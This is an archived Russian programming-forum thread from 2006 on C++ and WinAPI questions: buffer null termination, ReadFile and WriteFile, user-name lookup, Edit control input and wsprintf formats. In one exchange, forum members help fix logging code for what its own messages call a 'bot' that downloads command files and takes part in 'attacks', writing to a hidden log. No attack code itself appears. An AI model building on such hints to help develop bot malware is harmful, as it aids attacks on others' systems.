Ru-Board.club
← Вернуться в раздел «Прикладное программирование»

» C++ WinAPI

Автор: Kaylang
Дата сообщения: 04.07.2006 12:09
Всем спасибо! Пока искал инфу, нашел и решение тут.

Если вдруг кому понадобится:

Код:
const
NameUnknown = 0; // Unknown name type.
NameFullyQualifiedDN = 1; // Fully qualified distinguished name
NameSamCompatible = 2; // Windows NT® 4.0 account name
NameDisplay = 3; // A "friendly" display name
NameUniqueId = 6; // GUID string that the IIDFromString function returns
NameCanonical = 7; // Complete canonical name
NameUserPrincipal = 8; // User principal name
NameCanonicalEx = 9;
NameServicePrincipal = 10; // Generalized service principal name
DNSDomainName = 11; // DNS domain name, plus the user name

procedure GetUserNameEx(NameFormat: DWORD;
lpNameBuffer: LPSTR; nSize: PULONG); stdcall;
external 'secur32.dll' Name 'GetUserNameExA';

function LoggedOnUserNameEx(fFormat: DWORD): string;
var
UserName: array[0..250] of char;
Size: DWORD;
begin
Size := 250;
GetUserNameEx(fFormat, @UserName, @Size);
Result := UserName;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Edit1.Text := LoggedOnUserNameEx(NameSamCompatible);
end;
Автор: DeADMoHAX
Дата сообщения: 06.07.2006 15:47
Страное дело такое возникло - считываю данные из файла, а в чары считывается каким то раком данных больше чем размер массива позволяет - причем непонятно почему нет переполнения буфера. однако, strlen и подсчитывание вручную в консоли символов дают результатом то что данных не 15 например, а 39.
вот вывод+функция, которая его дает:
http://xaknotdie.org/html/work.rar
Автор: tomegadeth
Дата сообщения: 06.07.2006 16:02
DeADMoHAX
добавь местечко для нуля и обнули буфера

Код:     char dbuff[9]={0,};
    char btbuff[9]={0,};
    char etbuff[9]={0,};
    char buffip[16]={0,};
    char mbuff[2]={0,};
    char extbuff[2]={0,};
    char space[2]={0,};
Автор: DeADMoHAX
Дата сообщения: 06.07.2006 17:30
tomegadeth
а может недобавлять а просто занести сначала 0, он же потом затрется ?
Автор: tomegadeth
Дата сообщения: 06.07.2006 18:11
на самом деле размер буфера должен быть <= количеству байтов для чтения. (так в MSDN сказано) но практика показывает что нулевое окончание необходимо... пробуй в общем...
Автор: ShIvADeSt
Дата сообщения: 07.07.2006 00:49
tomegadeth
Цитата:
на самом деле размер буфера должен быть <= количеству байтов для чтения. (так в MSDN сказано)

Хм сколько читал, везде идет примечание, что необходимо выделять столько сколько надо считать плюс ноль для терминайта (когда считывается ситмвольный буфер естессно), то есть как в случае DeADMoHAX. Иначе ошибки не будет, но занесется на 1 символ меньше, а в конце все равно будет #0.
Автор: tomegadeth
Дата сообщения: 07.07.2006 09:30
ShIvADeSt

Цитата:
Хм сколько читал, везде идет примечание, что необходимо выделять столько сколько надо считать плюс ноль для терминайта
вот я тоже это читал, но искав про ReadFile такого примечания не нашел

дело в том, что именно при, в данном случае, ReadFile, если буфер равен 8 и читается 8 символов, то последний символ в буфере (восьмой) не будет '\0'... если сделать strcpy массива в другой буффер побольше, девятый байт будет содержать мусор, а десятый - уже '\0'...

При cout или MessageBox и т.д., последний символ должен быть обязательно '\0'.
Нуль для терминайта дожен быть выделен в любом случае, иначе ждите переполнения...
Автор: Abs62
Дата сообщения: 07.07.2006 14:43
tomegadeth

Цитата:
вот я тоже это читал, но искав про ReadFile такого примечания не нашел

А ReadFile просто читает заданное количество символов. А ноль там, или не ноль - по барабану.

Цитата:
если сделать strcpy массива в другой буффер побольше, девятый байт будет содержать мусор, а десятый - уже '\0'...

Если это сделать, результат может быть любым - от правильного результата (8 символов и завершающий 0) и до Access violation. Всё зависит от содержимого памяти за пределами выделенного буфера.
Автор: XF
Дата сообщения: 08.07.2006 18:59
Здравствуйте.
Как при помощи WinAPI определить какой процесс биндит/прослушивает определенный порт?
Автор: vshersh
Дата сообщения: 10.07.2006 12:11
XF
Смотри в сторону iphlpapi.dll
Автор: tomegadeth
Дата сообщения: 10.07.2006 13:54
XF посмотри здесь, есть с примером.
Автор: DeADMoHAX
Дата сообщения: 11.07.2006 17:47
Записываю WriteFile в файл - во-первых, записываются еще какие-то == несколько, в зависимости от длины строки, во-вторых, кодировка ASCII, а не ANSI, то есть обычная DOS-кодировка - надо бы ANSI. Как пофиксить ?
Автор: tomegadeth
Дата сообщения: 11.07.2006 17:52
DeADMoHAX
Цитата:
The OemToChar function translates a string from the OEM-defined character set into either an ANSI or a wide-character string.
а что касается WriteFile… может лучше куском кода покажешь?
Автор: DeADMoHAX
Дата сообщения: 11.07.2006 18:06
tomegadeth
покажу
http://xaknotdie.org/html/writefile.rar
Автор: Abs62
Дата сообщения: 11.07.2006 21:21
DeADMoHAX
Нечего на зеркало... тьфу, то бишь на WriteFile пенять - что ей подсовываешь, то и пишет.

Цитата:
cout<<WriteFile(hLogFile,GetCurTime(1),25,(LPDWORD)&FakeCnt,NULL);


Код: char *s;
s=GetCurTime(1);
cout<<WriteFile(hLogFile,s,strlen(s),(LPDWORD)&FakeCnt,NULL);
delete[] s;
Автор: ItsJustMe
Дата сообщения: 11.07.2006 22:21
>>ты всё время про завершающий 0 забываешь, а ему тоже место нужно.
И зачем это ему писать завершающий 0 в файл? Я подозреваю, что он его с умыслом туда не пишет. Ибо незачем.
DeADMoHAX
Другое дело - я не понял, в чем твоя трабла. Как справедливо заметил Abs62, у WriteFile задача простая - что ты дал, то она и пишет.
Автор: tomegadeth
Дата сообщения: 11.07.2006 22:25
DeADMoHAX вот тебе [more=счастие]

Код:
#include <windows.h>
#include <string>
#include <iostream>

using namespace std;

void logall(string data, int id);
char *GetCurTime(int onlytime);

void main()
{
    logall("",1);
    logall("лол",4);
    logall("",3);
}
/////////////MAIN TIME FUNCTION

// раз пользуешь WinAPI - пользуй
// заметь как все упростилось

char *GetCurTime(int onlytime)
{
SYSTEMTIME st = {0,};
GetLocalTime(&st);

char *CurDataTime = new char[37];

wsprintf(CurDataTime, "%.2i.%.2i.%.4i - %.2i:%.2i:%.2i",
st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond);
if(!onlytime)
lstrcat(CurDataTime, "\n");
else
wsprintf(CurDataTime, "%.2i.%.2i.%.2i", st.wHour, st.wMinute, st.wSecond);

return CurDataTime;
}
/////////////LOG FUNCTION

void logall(string data, int id)
{
    LPDWORD FakeCnt;
    string str;

    HANDLE hLogFile=CreateFile("res.log",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
    cout<<"\n"<<GetLastError()<<"\n";
    cout<<SetFilePointer(hLogFile,NULL,NULL,FILE_END);
    cout<<"\n"<<GetLastError()<<"\n";
    if(!hLogFile)
    {
        return;
    }

char *currtime;
    if(id==1)
    {

currtime = GetCurTime(0);
        cout<<WriteFile(hLogFile,"\n",strlen("\n"),(LPDWORD)&FakeCnt,NULL);
        cout<<"\n"<<GetLastError()<<"\n";
        cout<<WriteFile(hLogFile, currtime, lstrlen(currtime),(LPDWORD)&FakeCnt,NULL);
        cout<<"\n"<<GetLastError()<<"\n";
        cout<<WriteFile(hLogFile," ",11,(LPDWORD)&FakeCnt,NULL);
        cout<<"\n"<<GetLastError()<<"\n";
    }
    else
    {
currtime = GetCurTime(1);
        cout<<WriteFile(hLogFile,currtime,lstrlen(currtime),(LPDWORD)&FakeCnt,NULL);
        cout<<"\n"<<GetLastError()<<"\n";
        cout<<WriteFile(hLogFile," ",3,(LPDWORD)&FakeCnt,NULL);
        cout<<"\n"<<GetLastError()<<"\n";
    }
delete [] currtime; // освобождаем

    switch(id)
    {
    case 1:
        str="xndDD bot 0.1 started...\n";
        break;
    case 2:
        str="Downloading commands file error !\n";
        break;
    case 3:
        str="Couldn't take part in attack. Reason: offline\n";
        break;
    case 4:
        str="Error with descriptin: ";
        str+=data;
        str+="\n";
break;
    case 15:
        str="Error while encrypting/decrypting files: ";
        str+=data;
        str+="\n";
    default:
        str="Unknown id !\n";
        break;
    }

    WriteFile(hLogFile, str.c_str(), str.length(),(LPDWORD)&FakeCnt,NULL);
    cout<<GetLastError()<<"\n";
    CloseHandle(hLogFile);
    cout<<GetLastError()<<"\n";
}
Автор: Abs62
Дата сообщения: 11.07.2006 23:18
ItsJustMe

Цитата:
И зачем это ему писать завершающий 0 в файл?

В файл его писать не надо. Но вот функция itoa, к примеру, в буфер его запишет. Или за пределы буфера, если для него нехватает места. Со всеми вытекающими последствиями.
Автор: DeADMoHAX
Дата сообщения: 12.07.2006 09:53
tomegadeth
спс. правда придется несколько дописать функцию с временем ну да ладно.
сиауты я думаю все поняли это я результат смотрел... там присутствует не винапи потому что я на него перехожу.
Abs62,ItsJustMe
тоже спасибо.


Добавлено:
ItsJustMe
Abs62
а я ей == не давал кстати..
Автор: Abs62
Дата сообщения: 12.07.2006 22:05
DeADMoHAX

Цитата:
а я ей == не давал кстати..

А это просто мусор из буфера.
Правда, в отладочном варианте не совсем мусор - в этом случае VC заполняет выделенные области памяти символом 0xCD, дабы легче ошибки искать было. Скомпилируй как релиз - получишь натуральный мусор.
Автор: DeADMoHAX
Дата сообщения: 14.07.2006 22:04
Abs62
спасибо tomegadeth, не имею счастья видеь их в релизной версии
Автор: koderr
Дата сообщения: 02.08.2006 10:39
Как забрать текст из Edit при нажатии Enter?
Туплю, согласен.
Автор: tomegadeth
Дата сообщения: 02.08.2006 10:46
koderr в буфер обмена?

Автор: koderr
Дата сообщения: 02.08.2006 11:52
tomegadeth
Вообще как что-то сделать при нажатии Enter в Edit. Другими словами, как сделать реакцию на нажатие Enter в Edit?
Автор: tomegadeth
Дата сообщения: 02.08.2006 12:02

Код: OnKeyDown(...)
if(Key == VK_RETURN)
{
// твое дейтствие
}
Автор: koderr
Дата сообщения: 02.08.2006 13:04
tomegadeth
А вот так нельзя заменить WndProc?

Код:
OldWndProc = (WNDPROC)SetWindowLongPtr (hEdit, GWLP_WNDPROC, (LONG_PTR)NewWndProc);
Автор: tomegadeth
Дата сообщения: 02.08.2006 14:09
koderr почему же нельзя? конечно можно!
Автор: butsefal
Дата сообщения: 02.08.2006 15:00
Подскажите, пожалуйста, вещь, наверное, простую для спецов.
Я пытаюсь написать программу, которая отслеживала бы деятельность другой программы автоматически, с использованием WinAPI. Исходная программа имеет графическое окно, в которое выводятся числовые данные обработки в виде непрерывного массива в реальном времени. При этом данные, видимо, прогой прорисовываются в окне, Spy показывает, что никаких под-структур это окно не имеет. Если нажать в окне правую кнопку мыши, то всплывает меню, в котором есть кнопка Copy Data. При её выборе данные из окна копируются на Clipboard, откуда их достать просто вручную. Handle основного окна я достать могу и отслеживать события в нём.
Но вот как достать handle всплывающего pop-up меню ? Оно пропадает же когда я хочу на него навести Spy ? И как потом в этом меню выбрать Copy кнопку ... Короче, нужен скрипт, который бы списывал бы данные из основного окна без моего участия. Можно предложить вариант симуляции нажатия и смещения мышки на данную кнопку по координатам, но он удручает ... Хочется выудить информацию через посылку окну сообщений.
Делаю для простоты на VB 6.0, продвинутых языков я не знаю типа Delphi.
Автор: DeADMoHAX
Дата сообщения: 02.08.2006 18:56
butsefal
извините, темой промахнулись. у нас тут С++ ВинАПИ.

koderr
так что спрашивать - проверил и увидел.
Автор: xdude
Дата сообщения: 25.09.2006 04:01
Товарищи, такой вопрос: wsprintf что, __int64 не понимает? Как мне с ее помощью __int64 в строку перегнать? swprintf ну никак не желательно использовать, так как нужно чистейшее WinAPI без стандартной сишной библиотеки. В гугле ничего не нашел, в этой теме вроде тоже ничего. Не писать же свою функцию специально для этого?

Добавлено:
Да, чуть не забыл: в FormatMessage мне тоже __int64 надо впихнуть, с чего, собственно, поиски и начались, так как FormatMessage использует спецификацию wsprintf

Добавлено:
Хм. Похоже, %I64u сработало, хотя, могу поклясться соседскими курями, что пять минут назад пробовал - не получилось
Чудеса, да и только...

Страницы: 12345678910111213141516171819202122232425262728293031323334353637

Предыдущая тема: посоветуйте книги по SQL


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.